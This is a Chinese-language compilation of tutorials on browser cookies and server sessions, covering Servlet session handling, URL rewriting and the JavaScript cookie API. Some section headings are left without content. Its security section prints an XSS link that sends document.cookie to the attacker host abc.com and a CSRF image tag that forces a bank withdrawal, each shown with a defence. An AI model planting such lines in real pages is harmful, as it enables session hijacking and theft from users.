ookie詳解:一篇文章徹底搞懂Cookie
Cookie,這個在互聯網技術領域廣泛提及的名詞,對于大多數普通用戶來說可能只是瀏覽器設置中的一個選項,或是某些網站提醒你需要啟用的功能。但對于網站開發者、數據分析師、以及關注個人隱私的安全專家來說,Cookie背后的意義要深遠得多。本文將從定義、作用、類型、安全性等方面對Cookie進行詳細解析,幫助你全面、深入地理解這一技術。
一、Cookie的定義
Cookie,即“小甜餅”的意思,在計算機領域中,特指一種由服務器發送到用戶瀏覽器并保存在用戶計算機上的小型文本文件。這個文件可以被服務器用來識別用戶身份、跟蹤用戶活動、保存用戶設置等。它通常由名稱、值、域名、路徑、過期時間等字段組成。
二、Cookie的作用
三、Cookie的類型
四、Cookie的安全性問題
雖然Cookie在許多方面都非常有用,但它們也存在一些潛在的安全風險:
五、總結
Cookie作為一種重要的客戶端技術,在互聯網應用中發揮著舉足輕重的作用。它不僅可以用于會話管理、個性化設置等功能實現,還可以為網站提供有價值的數據分析服務。然而,在使用Cookie的過程中,我們也需要注意其潛在的安全風險,并采取相應的措施進行防范和保護。只有這樣,我們才能在享受互聯網帶來的便利的同時,確保自己的隱私和安全不受侵害。
擊關注,快速進階高級架構師
作者:Zender
會話可簡單理解為:用戶開一個瀏覽器,點擊多個超鏈接,訪問服務器多個web資源,然后關閉瀏覽器,整個過程稱之為一個會話。
每個用戶在使用瀏覽器與服務器進行會話的過程中,不可避免各自會產生一些數據,程序要想辦法為每個用戶保存這些數據。
1、Cookie
Cookie意為"甜餅",是由W3C組織提出,最早由Netscape社區發展的一種機制。目前Cookie已經成為標準,所有的主流瀏覽器如IE、Netscape、Firefox、Opera等都支持Cookie。
由于HTTP是一種無狀態的協議,服務器單從網絡連接上無從知道客戶身份。怎么辦呢?就給客戶端們頒發一個通行證吧,每人一個,無論誰訪問都必須攜帶自己通行證。這樣服務器就能從通行證上確認客戶身份了。這就是Cookie的工作原理。
Cookie實際上是一小段的文本信息。客戶端請求服務器,如果服務器需要記錄該用戶狀態,就使用response向客戶端瀏覽器頒發一個Cookie。客戶端瀏覽器會把Cookie保存起來。當瀏覽器再請求該網站時,瀏覽器把請求的網址連同該Cookie一同提交給服務器。服務器檢查該Cookie,以此來辨認用戶狀態。服務器還可以根據需要修改Cookie的內容。
2、Session
Session是服務器端技術,利用這個技術,服務器在運行時可以為每一個用戶的瀏覽器創建一個其獨享的session對象,由于session為用戶瀏覽器獨享,所以用戶在訪問服務器的web資源時,可以把各自的數據放在各自的session中,當用戶再去訪問服務器中的其它web資源時,其它web資源再從用戶各自的session中取出數據為用戶服務。
response接口也中定義了一個addCookie方法,它用于在其響應頭中增加一個相應的Set-Cookie頭字段。 同樣,request接口中也定義了一個getCookies方法,它用于獲取客戶端提交的Cookie。
1、使用cookie記錄用戶上一次訪問的時間
第一次訪問時,如下所示:
再次訪問:
2、刪除Cookie
3、cookie中存/取中文
結果如下:
Cookie注意細節
1,一個Cookie只能標識一種信息,它至少含有一個標識該信息的名稱(NAME)和設置值(VALUE)。
2,一個WEB站點可以給一個WEB瀏覽器發送多個Cookie,一個WEB瀏覽器也可以存儲多個WEB站點提供的Cookie。
3,瀏覽器一般只允許存放300個Cookie,每個站點最多存放20個Cookie,每個Cookie的大小限制為4KB。
4,如果創建了一個cookie,并將他發送到瀏覽器,默認情況下它是一個會話級別的cookie(即存儲在瀏覽器的內存中),用戶退出瀏覽器之后即被刪除。若希望瀏覽器將該cookie存儲在磁盤上,則需要使用maxAge,并給出一個以秒為單位的時間。將最大時效設為0則是命令瀏覽器刪除該cookie。
在WEB開發中,服務器可以為每個用戶瀏覽器創建一個會話對象(session對象),注意:一個瀏覽器獨占一個session對象(默認情況下)。因此,在需要保存用戶數據時,服務器程序可以把用戶數據寫到用戶瀏覽器獨占的session中,當用戶使用瀏覽器訪問其它程序時,其它程序可以從用戶的session中取出該用戶的數據,為用戶服務。
Session和Cookie的主要區別
1,Cookie是把用戶的數據寫給用戶的瀏覽器。
2,Session技術把用戶的數據寫到用戶獨占的session中。
3,Session對象由服務器創建,開發人員可以調用request對象的getSession方法得到session對象。
Session是服務器端技術,利用這個技術,服務器在運行時可以為每一個用戶的瀏覽器創建一個其獨享的session對象,由于session為用戶瀏覽器獨享,所以用戶在訪問服務器的web資源時,可以把各自的數據放在各自的session中,當用戶再去訪問服務器中的其它web資源時,其它web資源再從用戶各自的session中取出數據為用戶服務。
當用戶打開瀏覽器,訪問某個網站操作session時,服務器就會在服務器的內存為該瀏覽器分配一個session對象,該session對象被這個瀏覽器獨占。
這個session對象也可以看做是一個容器,session默認存在時間為30min,你可以修改。
1、Session可以用來做什么
1、網上商城中的購物車
2、保存登錄用戶的信息
3、將某些數據放入到Session中,供同一用戶的各個頁面使用
4、防止用戶非法登錄到某個頁面。
2、Session基本使用
Servlet1:
Servlet2:
同一瀏覽器訪問Servlet1,再訪問Servlet2,結果如下:
不同瀏覽器訪問Servlet1,再訪問Servlet2,結果如下:
可以看到這時候name是null,也就是沒有從session對象中取出值,因為360瀏覽器并沒有運行Servlet1來創建Session對象,上面的session對象是Chrome瀏覽器獨占的。
3、Session生命周期
Session中的屬性的默認生命周期是30min,這個默認時間可以通過修改web.xml文件來修改
1,在Tomcat根目錄\conf\web.xml文件中修改
<session-config> <session-timeout>30</session-timeout> </session-config>
2,如果只需要對某一個web應用設置,則只需要修改對應web應用的web.xml文件。在這個web.xml文件中添加如上的代碼:
<session-config> <session-timeout>10</session-timeout> </session-config>
除了設置默認生命周期之外,最重要的是在程序中設置,調用setMaxInacttiveInterval(int interval),這里的interval是以秒為單位的,而且這個方法設置的是發呆時間,比如你設置的是60秒,那么在這60秒之內如果你沒有操作過session,它就會自動刪除,如果你操作過,不管是設置屬性還是讀取屬性,它都會從頭開始計時。
session.setMaxInactiveInterval(60);
服務器是如何實現一個session為一個用戶瀏覽器服務的?
1,瀏覽器A先訪問Servlet1,這時候它創建了一個Session,ID號為110,然后Servlet1將這個ID號以Cookie的方式返回給瀏覽器A。
2,瀏覽器A繼續訪問Servlet2,那么這個請求會帶上Cookie值: JSESSIONID=110,然后服務器根據瀏覽器A傳遞過來的ID號找到內存中的這個Session。
3,瀏覽器B來訪問Servlet1了,它的請求并沒有帶上 JSESSIONID這個Cookie值,由于它也要使用Session,所以服務器會新創建一個Session,ID號為111。
4,瀏覽器B繼續訪問Servlet2,那么這個請求會帶上Cookie值: JSESSIONID=111,然后服務器根據瀏覽器B傳遞過來的ID號找到內存中的這個Session。
例如:
Servlet1:
Servlet2:
第一次訪問Servlet1時,服務器會創建一個新的sesion,并且把session的Id以cookie的形式發送給客戶端瀏覽器,如下圖所示:
可以看到,Request Headers中并沒有Cookie的信息,而Response Headers中有這么一句話:
Set-Cookie: JSESSIONID=05A94199DDC64311563740CC2C78D656; Path=/CookieAndSession/; HttpOnly
說明這個時候服務器向客戶端通過Cookie傳遞回了 JSESSIONID這個屬性。
然后訪問Servlet2,如下圖所示:
可以看到Response Headers中沒有出現Set-Cookie這個頭,而Request Headers中帶上了Cookie這個頭:
Cookie: JSESSIONID=05A94199DDC64311563740CC2C78D656
而這個頭中正包含 JSESSIONID,并且它的值也就是我們之前Set-Cookie中 JSESSIONID的值。
這就證明了我們之前圖解的Session的原理,也就是服務器能夠為不同的瀏覽器區分不同的Session的機制。
1,用戶登錄時候驗證驗證碼
Index.jsp:
CodeServlet:
Web.xml:
這里使用了jelly-core-1.7.0.GA.jar來生成了驗證碼,具體使用方式:
jelly-core-1.7.0.GA.jar(http://www.blogjava.net/fancydeepin/archive/2014/08/03/jelly_image.html)
訪問http://localhost:8081/CookieAndSession/index.jsp輸入驗證碼,點擊提交:
輸入正確驗證碼,頁面響應結果:
輸入錯誤驗證碼,頁面響應結果:
輸入正確驗證碼,后臺結果:
輸入錯誤驗證碼,后臺結果:
2,實現簡易購物車
模擬一個數據庫:
BuyBookServlet這個Servlet用于購買圖書:
運行結果:
3,防止用戶非法登錄到某個頁面
比如我們的用戶管理系統,必須要登錄成功后才能跳轉到主頁面,而不能直接繞過登錄頁面直接到主頁面,這個應用是一個非常常見的應用。
當在驗證用戶的控制器LoginClServlet.java驗證用戶成功后,將當前的用戶信息保存在Session對象中:
然后在主頁面Main.java最開始的地方,取出Session中的登錄用戶信息,如果信息為空,則為非法訪問,直接跳轉到登錄頁面,并提示相關信息:
那么這里就存在一個問題,一個網站會有很多個需要防止非法訪問的頁面,如果都是用這種方法豈不是很麻煩?
兩種解決辦法:
第一種:將這段驗證用戶的代碼封裝成函數,每次調用
第二種:使用過濾器
4,利用Session防止表單重復提交
具體的做法:
在服務器端生成一個唯一的隨機標識號,專業術語稱為Token(令牌),同時在當前用戶的Session域中保存這個Token。然后將Token發送到客戶端的Form表單中,在Form表單中使用隱藏域來存儲這個Token,表單提交的時候連同這個Token一起提交到服務器端,然后在服務器端判斷客戶端提交上來的Token與服務器端生成的Token是否一致,如果不一致,那就是重復提交了,此時服務器端就可以不處理重復提交的表單。如果相同則處理表單提交,處理完后清除當前用戶的Session域中存儲的標識號。
在下列情況下,服務器程序將拒絕處理用戶提交的表單請求:
1,存儲Session域中的Token(令牌)與表單提交的Token(令牌)不同。
2,當前用戶的Session中不存在Token(令牌)。
3,用戶提交的表單數據中沒有Token(令牌)。
例如:
創建FormTokenServlet,用于生成Token和跳轉到token.jsp頁面:
在token.jsp中使用隱藏域來存儲Token(令牌),提交Token(令牌)到服務器:
TokenServlet處理表單提交:
運行結果如下:
這里存在一種情況,假如用戶瀏覽器禁用了Cookie怎么辦?比如我把Chrome的Cookie禁用,如下:
解決方法:URL重寫
Servlet中的response提供了對URL重寫的方法:
那么URL重寫是什么意思呢?其實就是人為地把JSESSIONID附在了url的后面,比如我們修改之前寫的簡易購物車,ShowBook中所有的點擊購買超鏈接都要重寫。
之前我們是這么寫的:
out.println("<tr><td>"+book.getName()+"</td><td><a href='"+ req.getContextPath() +"/BuyBookServlet.html?id="+book.getId()+"'>點擊購買</a></td></tr>");
現在進行URL重寫:
req.getSession(); String url="/MyCart/BuyBookCl?id="+book.getId(); url=resp.encodeURL(url); out.println("<tr><td>"+book.getName()+"</td><td><a href='"+url+"'>點擊購買</a></td></tr>");
需要注意的是,重寫之前一定要調用或者確保使用過request.getSession()這個方法。
重寫之前,訪問ShowBookServlet的源代碼是這樣的:
重寫之后呢:
可以看到URL重寫之后,jsessionid這個參數自動附在了url后面,由此,得以確保我們的Session在Cookie被禁用的情況下繼續正常使用。這時候我們查看購物車的地址欄如下,可以明顯看到jsessionid這個參數:
原文:https://www.cnblogs.com/Zender/p/7657516.html
隨著web應用越來越復雜,希望能夠在用戶本身機器上存儲用戶信息,無論是登錄信息,偏好設定或其他數據,這個問題第一個方案就是以cookie形式出現的,最早提出cookie的網景公司。一份題為“Persistent Client State: HTTP Cookes”(持久客戶端狀態:HTTP Cookies)的標準中對 cookie 機制進行了闡述(該標準還可以在這里看到:http://curl.haxx.se/rfc/cookie_spec.html)。今天,cookie只是在客戶端存儲數據的其中一種選項。
HTTP Cookie,通常直接叫做 cookie,最初是在客戶端用于存儲會話信息的。該標準要求服務器對 任意 HTTP 請求發送 Set-Cookie HTTP 頭作為響應的一部分,其中包含會話信息。例如,這種服務器響 應的頭可能如下:
HTTP/1.1 200 OK Content-type: text/html Set-Cookie: name=value Other-header: other-header-value
這個 HTTP 響應設置以 name 為名稱、以 value 為值的一個 cookie,名稱和值在傳送時都必須是URL 編碼的。瀏覽器會存儲這樣的會話信息,并在這之后,通過為每個請求添加 Cookie HTTP 頭將信息發送回服務器,如下所示:
GET /index.html HTTP/1.1 Cookie: name=value Other-header: other-header-value
如圖所示,用戶首次訪問服務器,服務器會返回一個獨一無二的識別碼;id=23451,這樣服務器可以用這個碼跟蹤記錄用戶的信息,(購物歷史,地址信息等)。
cookie可以包含任意的信息,不僅僅是id,客戶端會記錄服務器返回來的Set-Cookie首部中的cookie內容。并將cookie存儲在瀏覽器的cookie數據庫中,當用戶訪問同一站點時,瀏覽器就會挑選當時該站點頒發的id=XXX的身份證(cookie),并在Cookie請求首部發送過去。
cookie可以根據存儲時間分為會話coolie和持久cookie,會話cookie會在關閉瀏覽器后自動刪除,持久性cookie會存儲在硬盤上,保存時間更久,關閉瀏覽器和電腦還可以保存。比如:
document.cookie="username=John Doe; expires=Thu, 18 Dec 2043 12:00:00 GMT";
域
cookie 對于哪個域是有效的。所有向該域發送的請求中都會包含這個 cookie 信息。這個值可以包含子域(subdomain,如www.wrox.com),也可以不包含它(如.wrox.com,則對于wrox.com的所有子域都有效)。如果沒有明確設定,那么這個域會被認作來自設置 cookie 的那個域。
值
儲存在 cookie 中的字符串值。值必須被 URL 編碼。
路徑
對于指定域中的那個路徑,應該向服務器發送 cookie。例如,你可以指定 cookie 只有從http://www.wrox.com/books/ 中才能訪問,那么 http://www.wrox.com 的頁面就不會發送 cookie 信息,即使請求都是來自同一個域的。
過期時間
表示 cookie 何時應該被刪除的時間戳(也就是,何時應該停止向服務器發送這個cookie)。默認情況下,瀏覽器會話結束時即將所有 cookie 刪除;不過也可以自己設置刪除時間。這個值是個 GMT 格式的日期(Wdy, DD-Mon-YYYY HH:MM:SS GMT),用于指定應該刪除cookie 的準確時間。因此,cookie 可在瀏覽器關閉后依然保存在用戶的機器上。如果你設置的失效日期是個以前的時間,則 cookie 會被立刻刪除。
安全標志
指定后,cookie 只有在使用 SSL 連接的時候才發送到服務器。例如,cookie 信息只能發送給 https://www.wrox.com,而 http://www.wrox.com 的請求則不能發送 cookie。 每一段信息都作為 Set-Cookie 頭的一部分,使用分號加空格分隔每一段,如下例所示。
HTTP/1.1 200 OK Content-type: text/html Set-Cookie: name=value; expires=Mon, 22-Jan-07 07:10:24 GMT; domain=.wrox.com Other-header: other-header-value
該頭信息指定了一個叫做 name 的 cookie,它會在格林威治時間 2007 年 1 月 22 日 7:10:24 失效,同時對于 www.wrox.com 和 wrox.com 的任何子域(如 p2p.wrox.com)都有效。 secure 標志是 cookie 中唯一一個非名值對兒的部分,直接包含一個 secure 單詞。如下:
HTTP/1.1 200 OK Content-type: text/html Set-Cookie: name=value; domain=.wrox.com; path=/; secure Other-header: other-header-value
這里,創建了一個對于所有 wrox.com 的子域和域名下(由 path 參數指定的)所有頁面都有效的cookie。因為設置了 secure 標志,這個 cookie 只能通過 SSL 連接才能傳輸。尤其要注意,域、路徑、失效時間和 secure 標志都是服務器給瀏覽器的指示,以指定何時應該發送 cookie。這些參數并不會作為發送到服務器的 cookie 信息的一部分,只有名值對兒才會被發送。
在JavaScript中處理cookie有些復雜,因為其眾所周知的蹩腳的接口,即BOM的document. cookie屬性。這個屬性的獨特之處在于它會因為使用它的方式不同而表現出不同的行為。當用來獲取屬性值時,document.cookie 返回當前頁面可用的(根據 cookie 的域、路徑、失效時間和安全設置)所有 cookie的字符串,一系列由分號隔開的名值對兒,如下例所示。
name1=value1;name2=value2;name3=value3
所有名字和值都是經過 URL 編碼的,所以必須使用 decodeURIComponent()來解碼。
注意:當用于設置值的時候,document.cookie 屬性可以設置為一個新的 cookie 字符串。這個 cookie 字符串會被解釋并添加到現有的 cookie 集合中。設置 document.cookie 并不會覆蓋 cookie,除非設置的cookie 的名稱已經存在。設置 cookie 的格式如下,和 Set-Cookie 頭中使用的格式一樣。
name=value; expires=expiration_time; path=domain_path; domain=domain_name; secure
這些參數中,只有 cookie 的名字和值是必需的。下面是一個簡單的例子。
document.cookie="name=Nicholas";
這段代碼創建了一個叫 name 的 cookie,值為 Nicholas。當客戶端每次向服務器端發送請求的時候,都會發送這個 cookie;當瀏覽器關閉的時候,它就會被刪除。雖然這段代碼沒問題,但因為這里正好名稱和值都無需編碼,所以最好每次設置 cookie 時都像下面這個例子中一樣使用encodeURIComponent()。 document.cookie=encodeURIComponent("name") + "=" + encodeURIComponent("Nicholas");
要給被創建的 cookie 指定額外的信息,只要將參數追加到該字符串,和 Set-Cookie 頭中的格式一樣,如下所示。 document.cookie=encodeURIComponent("name") + "=" + encodeURIComponent("Nicholas") + "; domain=.wrox.com; path=/";
由于JS操作cookie比較麻煩,我們一般封裝一層
var CookieUtil={ setCookie:function(name,value,expiredays){ var d=new Date(); d.setDate(date.getDate()+expiredays); window.document.cookie=encodeURIComponent(name) + "=" + encodeURIComponent(value) + ";path=/;expires=" + d.toGMTString(); }, getCookie:function(name){ var v=document.cookie.match('(^|;)'+name+'=([^;]*)(;|$)')); return v?v[2]:null; }, deleteCookie:function(name){ this.setCookie(name, '', -1) } }
1、大小限制,每個域的 cookie 總數是有限的,不過瀏覽器之間各有不同
2、過多的 Cookie 會帶來巨大的性能浪費
Cookie 是緊跟域名的。同一個域名下的所有請求,都會攜帶 Cookie。大家試想,如果我們此刻僅僅是請求一張圖片或者一個 CSS 文件,我們也要攜帶一個 Cookie 跑來跑去(關鍵是 Cookie 里存儲的信息并不需要),這是一件多么勞民傷財的事情。Cookie 雖然小,請求卻可以有很多,隨著請求的疊加,這樣的不必要的 Cookie 帶來的開銷將是無法想象的。
3、安全性問題
多數網站使用cookie作為用戶會話的唯一標識,因為其他的方法具有限制和漏洞。如果一個網站使用cookies作為會話標識符,攻擊者可以通過竊取一套用戶的cookies來冒充用戶的請求。從服務器的角度,它是沒法分辨用戶和攻擊者的,因為用戶和攻擊者擁有相同的身份驗證。 下面介紹幾種cookie盜用和會話劫持的例子:
網絡竊聽
網絡上的流量可以被網絡上任何計算機攔截,特別是未加密的開放式WIFI。這種流量包含在普通的未加密的HTTP清求上發送Cookie。在未加密的情況下,攻擊者可以讀取網絡上的其他用戶的信息,包含HTTP Cookie的全部內容,以便進行中間的攻擊。比如:攔截cookie來冒充用戶身份執行惡意任務(銀行轉賬等)。
解決辦法:服務器可以設置secure屬性的cookie,這樣就只能通過https的方式來發送cookies了。
DNS緩存中毒
如果攻擊者可以使DNS緩存中毒,那么攻擊者就可以訪問用戶的Cookie了,例如:攻擊者使用DNS中毒來創建一個虛擬的NDS服務h123456.www.demo.com指向攻擊者服務器的ip地址。然后攻擊者可以從服務器 h123456.www.demo.com/img_01.png 發布圖片。用戶訪問這個圖片,由于 www.demo.com和h123456.www.demo.com是同一個子域,所以瀏覽器會把用戶的與www.demo.com相關的cookie都會發送到h123456.www.demo.com這個服務器上,這樣攻擊者就會拿到用戶的cookie搞事情。
一般情況下是不會發生這種情況,通常是網絡供應商錯誤。
跨站點腳本XSS
使用跨站點腳本技術可以竊取cookie。當網站允許使用javascript操作cookie的時候,就會發生攻擊者發布惡意代碼攻擊用戶的會話,同時可以拿到用戶的cookie信息。 例子:
<a href="#" onclick=window.location=http://abc.com?cookie=${docuemnt.cookie}>領取紅包
當用戶點擊這個鏈接的時候,瀏覽器就會執行onclick里面的代碼,結果這個網站用戶的cookie信息就會被發送到abc.com攻擊者的服務器。攻擊者同樣可以拿cookie搞事情。
解決辦法:可以通過cookie的HttpOnly屬性,設置了HttpOnly屬性,javascript代碼將不能操作cookie。
跨站請求偽造CSRF
例如,SanShao可能正在瀏覽其他用戶XiaoMing發布消息的聊天論壇。假設XiaoMing制作了一個引用ShanShao銀行網站的HTML圖像元素,例如,
<img src="http://www.bank.com/withdraw?user=SanShao&amount=999999&for=XiaoMing" >
如果SanShao的銀行將其認證信息保存在cookie中,并且cookie尚未過期,(當然是沒有其他驗證身份的東西),那么SanShao的瀏覽器嘗試加載該圖片將使用他的cookie提交提款表單,從而在未經SanShao批準的情況下授權交易。
解決辦法:增加其他信息的校驗(手機驗證碼,或者其他盾牌)。
點贊+轉發,讓更多的人也能看到這篇內容(收藏不點贊,都是耍流氓-_-)
關注 {我},享受文章首發體驗!
每周重點攻克一個前端技術難點。更多精彩前端內容私信 我 回復“教程”!
原文鏈接:https://github.com/huzhao0316/articals/wiki/%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3%E6%B5%8F%E8%A7%88%E5%99%A8Cookie
*請認真填寫需求信息,我們會在24小時內與您取得聯系。